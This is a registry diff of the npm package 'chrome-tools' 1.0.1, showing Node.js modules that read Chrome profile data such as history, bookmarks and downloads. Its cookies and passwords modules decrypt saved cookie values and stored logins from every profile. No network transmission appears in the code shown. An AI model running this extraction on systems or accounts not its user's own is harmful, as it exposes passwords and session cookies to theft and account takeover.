chrome-tools 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +244 -0
- package/bin/cli.js +590 -0
- package/package.json +55 -0
- package/src/core/chrome.js +177 -0
- package/src/core/crypto.js +63 -0
- package/src/core/db.js +69 -0
- package/src/core/keychain.js +68 -0
- package/src/index.js +49 -0
- package/src/modules/autofill.js +213 -0
- package/src/modules/bookmarks.js +109 -0
- package/src/modules/cookies.js +77 -0
- package/src/modules/downloads.js +91 -0
- package/src/modules/extensions.js +80 -0
- package/src/modules/history.js +102 -0
- package/src/modules/passwords.js +61 -0
- package/src/modules/search-engines.js +48 -0
- package/src/modules/top-sites.js +43 -0
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
import { existsSync, readFileSync } from "node:fs";
|
|
2
|
+
import { join } from "node:path";
|
|
3
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
4
|
+
import { chromeTimeToDate } from "../core/crypto.js";
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Converts a Chrome bookmark timestamp (microseconds since 1601-01-01) to a date string.
|
|
8
|
+
* Bookmark timestamps use the same epoch as Chrome timestamps but are stored as strings.
|
|
9
|
+
*/
|
|
10
|
+
function bookmarkTimeToDate(timestamp) {
|
|
11
|
+
if (!timestamp || timestamp === "0") return "N/A";
|
|
12
|
+
return chromeTimeToDate(BigInt(timestamp));
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Recursively flattens the bookmark tree into a flat array.
|
|
17
|
+
*
|
|
18
|
+
* @param {Object} node - Bookmark tree node.
|
|
19
|
+
* @param {string} [folderPath=""] - Current folder path for context.
|
|
20
|
+
* @returns {Array<Object>}
|
|
21
|
+
*/
|
|
22
|
+
function flattenBookmarks(node, folderPath = "") {
|
|
23
|
+
const results = [];
|
|
24
|
+
if (!node) return results;
|
|
25
|
+
|
|
26
|
+
const currentPath = folderPath
|
|
27
|
+
? `${folderPath}/${node.name || ""}`
|
|
28
|
+
: node.name || "";
|
|
29
|
+
|
|
30
|
+
if (node.type === "url") {
|
|
31
|
+
results.push({
|
|
32
|
+
title: node.name || "",
|
|
33
|
+
url: node.url || "",
|
|
34
|
+
folder: folderPath,
|
|
35
|
+
dateAdded: bookmarkTimeToDate(node.date_added),
|
|
36
|
+
dateLastUsed: bookmarkTimeToDate(node.date_last_used),
|
|
37
|
+
id: node.id,
|
|
38
|
+
guid: node.guid || "",
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
if (node.children && Array.isArray(node.children)) {
|
|
43
|
+
for (const child of node.children) {
|
|
44
|
+
results.push(...flattenBookmarks(child, currentPath));
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
return results;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Reads and parses bookmarks from Chrome's Bookmarks JSON file.
|
|
53
|
+
*
|
|
54
|
+
* @param {Object} [options]
|
|
55
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
56
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
57
|
+
* @param {string} [options.folder] - Filter by folder name (case-insensitive).
|
|
58
|
+
* @param {string} [options.search] - Filter by title or URL (case-insensitive).
|
|
59
|
+
* @returns {Array<{profile: string, title: string, url: string, folder: string, dateAdded: string, dateLastUsed: string}>}
|
|
60
|
+
*/
|
|
61
|
+
export function getBookmarks({ chromeDir, profile, folder, search } = {}) {
|
|
62
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
63
|
+
const results = [];
|
|
64
|
+
|
|
65
|
+
for (const p of profiles) {
|
|
66
|
+
const bookmarksPath = join(p.path, "Bookmarks");
|
|
67
|
+
if (!existsSync(bookmarksPath)) continue;
|
|
68
|
+
|
|
69
|
+
try {
|
|
70
|
+
const raw = readFileSync(bookmarksPath, "utf-8");
|
|
71
|
+
const data = JSON.parse(raw);
|
|
72
|
+
const roots = data.roots;
|
|
73
|
+
|
|
74
|
+
if (!roots) continue;
|
|
75
|
+
|
|
76
|
+
// Flatten all root bookmark folders
|
|
77
|
+
const rootNames = ["bookmark_bar", "other", "synced"];
|
|
78
|
+
for (const rootName of rootNames) {
|
|
79
|
+
if (roots[rootName]) {
|
|
80
|
+
const bookmarks = flattenBookmarks(roots[rootName], "");
|
|
81
|
+
for (const bm of bookmarks) {
|
|
82
|
+
bm.profile = p.name;
|
|
83
|
+
results.push(bm);
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
} catch {
|
|
88
|
+
// Skip profiles with parse errors
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
let filtered = results;
|
|
93
|
+
|
|
94
|
+
if (folder) {
|
|
95
|
+
const term = folder.toLowerCase();
|
|
96
|
+
filtered = filtered.filter((b) => b.folder.toLowerCase().includes(term));
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
if (search) {
|
|
100
|
+
const term = search.toLowerCase();
|
|
101
|
+
filtered = filtered.filter(
|
|
102
|
+
(b) =>
|
|
103
|
+
b.title.toLowerCase().includes(term) ||
|
|
104
|
+
b.url.toLowerCase().includes(term)
|
|
105
|
+
);
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
return filtered;
|
|
109
|
+
}
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { deriveEncryptionKey } from "../core/keychain.js";
|
|
4
|
+
import { decryptValue, chromeTimeToDate } from "../core/crypto.js";
|
|
5
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Extracts cookies from Chrome's Cookies database.
|
|
9
|
+
* Encrypted values are decrypted using the same mechanism as passwords.
|
|
10
|
+
*
|
|
11
|
+
* @param {Object} [options]
|
|
12
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
13
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
14
|
+
* @param {string} [options.domain] - Filter by domain (case-insensitive, partial match).
|
|
15
|
+
* @param {boolean} [options.decrypt=true] - Whether to decrypt encrypted values.
|
|
16
|
+
* @param {number} [options.limit=100] - Maximum number of results.
|
|
17
|
+
* @returns {Array<Object>}
|
|
18
|
+
*/
|
|
19
|
+
export function getCookies({ chromeDir, profile, domain, decrypt = true, limit = 100 } = {}) {
|
|
20
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
21
|
+
const derivedKey = decrypt ? deriveEncryptionKey() : null;
|
|
22
|
+
const results = [];
|
|
23
|
+
|
|
24
|
+
for (const p of profiles) {
|
|
25
|
+
const dbPath = join(p.path, "Cookies");
|
|
26
|
+
try {
|
|
27
|
+
if (!tableExists(dbPath, "cookies")) continue;
|
|
28
|
+
|
|
29
|
+
let sql = `SELECT host_key, name, value, encrypted_value, path,
|
|
30
|
+
expires_utc, is_secure, is_httponly, samesite,
|
|
31
|
+
creation_utc, last_access_utc
|
|
32
|
+
FROM cookies`;
|
|
33
|
+
const conditions = [];
|
|
34
|
+
const params = [];
|
|
35
|
+
|
|
36
|
+
if (domain) {
|
|
37
|
+
conditions.push(`host_key LIKE ?`);
|
|
38
|
+
params.push(`%${domain}%`);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
if (conditions.length > 0) {
|
|
42
|
+
sql += ` WHERE ${conditions.join(" AND ")}`;
|
|
43
|
+
}
|
|
44
|
+
sql += ` ORDER BY host_key, name`;
|
|
45
|
+
if (limit) {
|
|
46
|
+
sql += ` LIMIT ${parseInt(limit, 10)}`;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const rows = queryDatabase(dbPath, sql, params);
|
|
50
|
+
|
|
51
|
+
for (const row of rows) {
|
|
52
|
+
let cookieValue = row.value || "";
|
|
53
|
+
if (!cookieValue && row.encrypted_value && derivedKey) {
|
|
54
|
+
cookieValue = decryptValue(row.encrypted_value, derivedKey);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
results.push({
|
|
58
|
+
profile: p.name,
|
|
59
|
+
domain: row.host_key,
|
|
60
|
+
name: row.name,
|
|
61
|
+
value: cookieValue,
|
|
62
|
+
path: row.path || "/",
|
|
63
|
+
expires: chromeTimeToDate(row.expires_utc || 0),
|
|
64
|
+
secure: Boolean(row.is_secure),
|
|
65
|
+
httpOnly: Boolean(row.is_httponly),
|
|
66
|
+
sameSite: ["unspecified", "lax", "strict", "none"][row.samesite] || "unspecified",
|
|
67
|
+
created: chromeTimeToDate(row.creation_utc || 0),
|
|
68
|
+
lastAccessed: chromeTimeToDate(row.last_access_utc || 0),
|
|
69
|
+
});
|
|
70
|
+
}
|
|
71
|
+
} catch {
|
|
72
|
+
// Skip profiles with errors
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
return results;
|
|
77
|
+
}
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { chromeTimeToDate } from "../core/crypto.js";
|
|
4
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
5
|
+
|
|
6
|
+
/** Maps Chrome download state integers to human-readable strings. */
|
|
7
|
+
const DOWNLOAD_STATES = {
|
|
8
|
+
0: "in_progress",
|
|
9
|
+
1: "complete",
|
|
10
|
+
2: "cancelled",
|
|
11
|
+
3: "interrupted",
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
/** Maps Chrome download danger type integers to strings. */
|
|
15
|
+
const DANGER_TYPES = {
|
|
16
|
+
0: "not_dangerous",
|
|
17
|
+
1: "dangerous_file",
|
|
18
|
+
2: "dangerous_url",
|
|
19
|
+
3: "dangerous_content",
|
|
20
|
+
4: "maybe_dangerous_content",
|
|
21
|
+
5: "uncommon_content",
|
|
22
|
+
6: "user_validated",
|
|
23
|
+
7: "dangerous_host",
|
|
24
|
+
8: "potentially_unwanted",
|
|
25
|
+
9: "allowlisted_by_policy",
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Retrieves download history from Chrome's History database.
|
|
30
|
+
*
|
|
31
|
+
* @param {Object} [options]
|
|
32
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
33
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
34
|
+
* @param {string} [options.search] - Filter by filename or URL (case-insensitive).
|
|
35
|
+
* @param {number} [options.limit=100] - Maximum number of results.
|
|
36
|
+
* @returns {Array<Object>}
|
|
37
|
+
*/
|
|
38
|
+
export function getDownloads({ chromeDir, profile, search, limit = 100 } = {}) {
|
|
39
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
40
|
+
const results = [];
|
|
41
|
+
|
|
42
|
+
for (const p of profiles) {
|
|
43
|
+
const dbPath = join(p.path, "History");
|
|
44
|
+
try {
|
|
45
|
+
if (!tableExists(dbPath, "downloads")) continue;
|
|
46
|
+
|
|
47
|
+
let sql = `SELECT id, target_path, tab_url, total_bytes, received_bytes,
|
|
48
|
+
start_time, end_time, mime_type, original_mime_type,
|
|
49
|
+
state, danger_type, opened, referrer, site_url
|
|
50
|
+
FROM downloads ORDER BY start_time DESC`;
|
|
51
|
+
if (limit) {
|
|
52
|
+
sql += ` LIMIT ${parseInt(limit, 10)}`;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
const rows = queryDatabase(dbPath, sql);
|
|
56
|
+
|
|
57
|
+
for (const row of rows) {
|
|
58
|
+
const entry = {
|
|
59
|
+
profile: p.name,
|
|
60
|
+
targetPath: row.target_path || "",
|
|
61
|
+
url: row.tab_url || "",
|
|
62
|
+
siteUrl: row.site_url || "",
|
|
63
|
+
referrer: row.referrer || "",
|
|
64
|
+
totalBytes: row.total_bytes || 0,
|
|
65
|
+
receivedBytes: row.received_bytes || 0,
|
|
66
|
+
mimeType: row.mime_type || row.original_mime_type || "",
|
|
67
|
+
state: DOWNLOAD_STATES[row.state] || `unknown(${row.state})`,
|
|
68
|
+
dangerType: DANGER_TYPES[row.danger_type] || `unknown(${row.danger_type})`,
|
|
69
|
+
opened: Boolean(row.opened),
|
|
70
|
+
startTime: chromeTimeToDate(row.start_time || 0),
|
|
71
|
+
endTime: chromeTimeToDate(row.end_time || 0),
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
if (search) {
|
|
75
|
+
const term = search.toLowerCase();
|
|
76
|
+
if (
|
|
77
|
+
!entry.targetPath.toLowerCase().includes(term) &&
|
|
78
|
+
!entry.url.toLowerCase().includes(term)
|
|
79
|
+
) {
|
|
80
|
+
continue;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
results.push(entry);
|
|
84
|
+
}
|
|
85
|
+
} catch {
|
|
86
|
+
// Skip profiles with errors
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
return results;
|
|
91
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
import { existsSync, readFileSync } from "node:fs";
|
|
2
|
+
import { join } from "node:path";
|
|
3
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Retrieves installed Chrome extensions from the Preferences JSON file.
|
|
7
|
+
*
|
|
8
|
+
* @param {Object} [options]
|
|
9
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
10
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
11
|
+
* @param {string} [options.search] - Filter by extension name (case-insensitive).
|
|
12
|
+
* @returns {Array<Object>}
|
|
13
|
+
*/
|
|
14
|
+
export function getExtensions({ chromeDir, profile, search } = {}) {
|
|
15
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
16
|
+
const results = [];
|
|
17
|
+
|
|
18
|
+
for (const p of profiles) {
|
|
19
|
+
// Try Secure Preferences first, fallback to Preferences
|
|
20
|
+
let prefs = null;
|
|
21
|
+
for (const filename of ["Secure Preferences", "Preferences"]) {
|
|
22
|
+
const prefsPath = join(p.path, filename);
|
|
23
|
+
if (existsSync(prefsPath)) {
|
|
24
|
+
try {
|
|
25
|
+
prefs = JSON.parse(readFileSync(prefsPath, "utf-8"));
|
|
26
|
+
break;
|
|
27
|
+
} catch {
|
|
28
|
+
continue;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
if (!prefs) continue;
|
|
34
|
+
|
|
35
|
+
const settings = prefs?.extensions?.settings;
|
|
36
|
+
if (!settings || typeof settings !== "object") continue;
|
|
37
|
+
|
|
38
|
+
for (const [extId, extData] of Object.entries(settings)) {
|
|
39
|
+
// Skip component extensions and internal Chrome extensions
|
|
40
|
+
if (extData.location === 5 || extData.location === 10) continue;
|
|
41
|
+
|
|
42
|
+
const manifest = extData.manifest || {};
|
|
43
|
+
const entry = {
|
|
44
|
+
profile: p.name,
|
|
45
|
+
id: extId,
|
|
46
|
+
name: manifest.name || extData.name || extId,
|
|
47
|
+
version: manifest.version || extData.version || "unknown",
|
|
48
|
+
description: manifest.description || "",
|
|
49
|
+
enabled: extData.state === 1,
|
|
50
|
+
homepageUrl: manifest.homepage_url || "",
|
|
51
|
+
updateUrl: manifest.update_url || "",
|
|
52
|
+
installTime: extData.install_time || "",
|
|
53
|
+
fromWebstore: extData.from_webstore || false,
|
|
54
|
+
location: extData.location || 0,
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
// Clean up __MSG_ placeholders in name/description
|
|
58
|
+
if (entry.name.startsWith("__MSG_")) {
|
|
59
|
+
entry.name = extId; // Fallback to ID if name is a message key
|
|
60
|
+
}
|
|
61
|
+
if (entry.description.startsWith("__MSG_")) {
|
|
62
|
+
entry.description = "";
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
if (search) {
|
|
66
|
+
const term = search.toLowerCase();
|
|
67
|
+
if (
|
|
68
|
+
!entry.name.toLowerCase().includes(term) &&
|
|
69
|
+
!entry.id.toLowerCase().includes(term)
|
|
70
|
+
) {
|
|
71
|
+
continue;
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
results.push(entry);
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
return results;
|
|
80
|
+
}
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { chromeTimeToDate } from "../core/crypto.js";
|
|
4
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Retrieves browsing history from Chrome's History database.
|
|
8
|
+
*
|
|
9
|
+
* @param {Object} [options]
|
|
10
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
11
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
12
|
+
* @param {string} [options.search] - Filter by URL or title (case-insensitive).
|
|
13
|
+
* @param {number} [options.limit=100] - Maximum number of results.
|
|
14
|
+
* @returns {Array<{profile: string, url: string, title: string, visitCount: number, lastVisit: string}>}
|
|
15
|
+
*/
|
|
16
|
+
export function getHistory({ chromeDir, profile, search, limit = 100 } = {}) {
|
|
17
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
18
|
+
const results = [];
|
|
19
|
+
|
|
20
|
+
for (const p of profiles) {
|
|
21
|
+
const dbPath = join(p.path, "History");
|
|
22
|
+
try {
|
|
23
|
+
if (!tableExists(dbPath, "urls")) continue;
|
|
24
|
+
|
|
25
|
+
let sql = `SELECT url, title, visit_count, last_visit_time
|
|
26
|
+
FROM urls ORDER BY last_visit_time DESC`;
|
|
27
|
+
if (limit) {
|
|
28
|
+
sql += ` LIMIT ${parseInt(limit, 10)}`;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
const rows = queryDatabase(dbPath, sql);
|
|
32
|
+
|
|
33
|
+
for (const row of rows) {
|
|
34
|
+
const entry = {
|
|
35
|
+
profile: p.name,
|
|
36
|
+
url: row.url,
|
|
37
|
+
title: row.title || "",
|
|
38
|
+
visitCount: row.visit_count || 0,
|
|
39
|
+
lastVisit: chromeTimeToDate(row.last_visit_time || 0),
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
if (search) {
|
|
43
|
+
const term = search.toLowerCase();
|
|
44
|
+
if (
|
|
45
|
+
!entry.url.toLowerCase().includes(term) &&
|
|
46
|
+
!entry.title.toLowerCase().includes(term)
|
|
47
|
+
) {
|
|
48
|
+
continue;
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
results.push(entry);
|
|
52
|
+
}
|
|
53
|
+
} catch {
|
|
54
|
+
// Skip profiles with errors
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
return results;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/**
|
|
62
|
+
* Retrieves search terms from Chrome's History database.
|
|
63
|
+
*
|
|
64
|
+
* @param {Object} [options]
|
|
65
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
66
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
67
|
+
* @param {number} [options.limit=100] - Maximum number of results.
|
|
68
|
+
* @returns {Array<{profile: string, term: string, url: string}>}
|
|
69
|
+
*/
|
|
70
|
+
export function getSearchTerms({ chromeDir, profile, limit = 100 } = {}) {
|
|
71
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
72
|
+
const results = [];
|
|
73
|
+
|
|
74
|
+
for (const p of profiles) {
|
|
75
|
+
const dbPath = join(p.path, "History");
|
|
76
|
+
try {
|
|
77
|
+
if (!tableExists(dbPath, "keyword_search_terms")) continue;
|
|
78
|
+
|
|
79
|
+
let sql = `SELECT kst.term, u.url
|
|
80
|
+
FROM keyword_search_terms kst
|
|
81
|
+
JOIN urls u ON kst.url_id = u.id
|
|
82
|
+
ORDER BY u.last_visit_time DESC`;
|
|
83
|
+
if (limit) {
|
|
84
|
+
sql += ` LIMIT ${parseInt(limit, 10)}`;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const rows = queryDatabase(dbPath, sql);
|
|
88
|
+
|
|
89
|
+
for (const row of rows) {
|
|
90
|
+
results.push({
|
|
91
|
+
profile: p.name,
|
|
92
|
+
term: row.term || "",
|
|
93
|
+
url: row.url || "",
|
|
94
|
+
});
|
|
95
|
+
}
|
|
96
|
+
} catch {
|
|
97
|
+
// Skip profiles with errors
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
return results;
|
|
102
|
+
}
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { deriveEncryptionKey } from "../core/keychain.js";
|
|
4
|
+
import { decryptValue, chromeTimeToDate } from "../core/crypto.js";
|
|
5
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Extracts and decrypts saved passwords from Chrome's Login Data database.
|
|
9
|
+
*
|
|
10
|
+
* @param {Object} [options]
|
|
11
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
12
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
13
|
+
* @param {string} [options.search] - Filter by URL or username (case-insensitive).
|
|
14
|
+
* @returns {Array<{profile: string, url: string, username: string, password: string, lastUsed: string}>}
|
|
15
|
+
*/
|
|
16
|
+
export function getPasswords({ chromeDir, profile, search } = {}) {
|
|
17
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
18
|
+
const derivedKey = deriveEncryptionKey();
|
|
19
|
+
const results = [];
|
|
20
|
+
|
|
21
|
+
for (const p of profiles) {
|
|
22
|
+
const dbPath = join(p.path, "Login Data");
|
|
23
|
+
try {
|
|
24
|
+
if (!tableExists(dbPath, "logins")) continue;
|
|
25
|
+
const rows = queryDatabase(
|
|
26
|
+
dbPath,
|
|
27
|
+
`SELECT origin_url, username_value, password_value, date_last_used
|
|
28
|
+
FROM logins ORDER BY origin_url`
|
|
29
|
+
);
|
|
30
|
+
|
|
31
|
+
for (const row of rows) {
|
|
32
|
+
const entry = {
|
|
33
|
+
profile: p.name,
|
|
34
|
+
url: row.origin_url,
|
|
35
|
+
username: row.username_value,
|
|
36
|
+
password: decryptValue(row.password_value, derivedKey),
|
|
37
|
+
lastUsed: chromeTimeToDate(row.date_last_used || 0),
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
if (search) {
|
|
41
|
+
const term = search.toLowerCase();
|
|
42
|
+
if (
|
|
43
|
+
!entry.url.toLowerCase().includes(term) &&
|
|
44
|
+
!entry.username.toLowerCase().includes(term)
|
|
45
|
+
) {
|
|
46
|
+
continue;
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
results.push(entry);
|
|
50
|
+
}
|
|
51
|
+
} catch (err) {
|
|
52
|
+
// Skip profiles with errors, continue with others
|
|
53
|
+
results.push({
|
|
54
|
+
profile: p.name,
|
|
55
|
+
error: err.message,
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return results.filter((r) => !r.error);
|
|
61
|
+
}
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Retrieves search engines configured in Chrome from the Web Data database.
|
|
7
|
+
*
|
|
8
|
+
* @param {Object} [options]
|
|
9
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
10
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
11
|
+
* @returns {Array<Object>}
|
|
12
|
+
*/
|
|
13
|
+
export function getSearchEngines({ chromeDir, profile } = {}) {
|
|
14
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
15
|
+
const results = [];
|
|
16
|
+
|
|
17
|
+
for (const p of profiles) {
|
|
18
|
+
const dbPath = join(p.path, "Web Data");
|
|
19
|
+
try {
|
|
20
|
+
if (!tableExists(dbPath, "keywords")) continue;
|
|
21
|
+
|
|
22
|
+
const rows = queryDatabase(
|
|
23
|
+
dbPath,
|
|
24
|
+
`SELECT id, short_name, keyword, url, suggestions_url,
|
|
25
|
+
favicon_url, prepopulate_id, is_active
|
|
26
|
+
FROM keywords ORDER BY short_name`
|
|
27
|
+
);
|
|
28
|
+
|
|
29
|
+
for (const row of rows) {
|
|
30
|
+
results.push({
|
|
31
|
+
profile: p.name,
|
|
32
|
+
id: row.id,
|
|
33
|
+
name: row.short_name || "",
|
|
34
|
+
keyword: row.keyword || "",
|
|
35
|
+
url: row.url || "",
|
|
36
|
+
suggestionsUrl: row.suggestions_url || "",
|
|
37
|
+
faviconUrl: row.favicon_url || "",
|
|
38
|
+
isDefault: row.prepopulate_id === 1,
|
|
39
|
+
isActive: row.is_active === 1,
|
|
40
|
+
});
|
|
41
|
+
}
|
|
42
|
+
} catch {
|
|
43
|
+
// Skip profiles with errors
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return results;
|
|
48
|
+
}
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import { join } from "node:path";
|
|
2
|
+
import { resolveTargetProfiles } from "../core/chrome.js";
|
|
3
|
+
import { queryDatabase, tableExists } from "../core/db.js";
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Retrieves top sites from Chrome's Top Sites database.
|
|
7
|
+
*
|
|
8
|
+
* @param {Object} [options]
|
|
9
|
+
* @param {string} [options.chromeDir] - Chrome User Data directory.
|
|
10
|
+
* @param {string} [options.profile] - Specific profile to target.
|
|
11
|
+
* @returns {Array<Object>}
|
|
12
|
+
*/
|
|
13
|
+
export function getTopSites({ chromeDir, profile } = {}) {
|
|
14
|
+
const profiles = resolveTargetProfiles({ chromeDir, profile });
|
|
15
|
+
const results = [];
|
|
16
|
+
|
|
17
|
+
for (const p of profiles) {
|
|
18
|
+
const dbPath = join(p.path, "Top Sites");
|
|
19
|
+
try {
|
|
20
|
+
if (!tableExists(dbPath, "top_sites")) continue;
|
|
21
|
+
|
|
22
|
+
const rows = queryDatabase(
|
|
23
|
+
dbPath,
|
|
24
|
+
`SELECT url, url_rank, title, redirects
|
|
25
|
+
FROM top_sites ORDER BY url_rank ASC`
|
|
26
|
+
);
|
|
27
|
+
|
|
28
|
+
for (const row of rows) {
|
|
29
|
+
results.push({
|
|
30
|
+
profile: p.name,
|
|
31
|
+
url: row.url || "",
|
|
32
|
+
title: row.title || "",
|
|
33
|
+
rank: row.url_rank ?? 0,
|
|
34
|
+
redirects: row.redirects || "",
|
|
35
|
+
});
|
|
36
|
+
}
|
|
37
|
+
} catch {
|
|
38
|
+
// Skip profiles with errors
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return results;
|
|
43
|
+
}
|